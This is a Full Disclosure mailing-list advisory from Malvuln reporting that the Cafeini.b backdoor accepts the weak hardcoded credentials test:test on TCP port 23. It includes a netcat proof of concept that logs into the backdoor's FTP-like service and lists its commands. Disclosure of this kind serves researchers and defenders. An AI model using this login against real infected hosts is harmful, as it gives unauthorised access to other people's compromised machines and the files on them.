full-disclosure - [FD] Backdoor.Win32.Cafeini.b / Weak Hardcoded Credentials

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Message-ID: <CAAHK0WRZMtOGGidWttmrNJKy-Wo0iYuALV+dr=5nrBkv=jmoqg@mail.gmail.com>
Date: Tue, 26 Apr 2022 21:28:46 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Cafeini.b / Weak Hardcoded Credentials

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 23. Authentication is
required, however the credentials test:test are weak and hardcoded within
the PE file.
Family: Cafeini
Type: PE32
MD5: 851f8945d1b5923990f4722d627156a0
Vuln ID: MVID-2022-0568
Disclosure: 04/26/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 23
220 CAFEiNi 1.1 FTP server
USER test
331 enter your password (PASS)
PASS test
230 you're logged in, have a fun
SYST
215 WIN32 L 8 (CAFEiNi 1.1 FTP server)
PASV
500 unknown command "pasv"
HELP
214-CAFEiNi 1.1 FTP server supported commands:
 ABOR CDUP CWD DELE HELP LIST MKD  MODE NOOP PASS
 PWD  QUIT RETR RMD RNFR RNTO STOR SYST TYPE USER
214 and you don't need more commands, I think

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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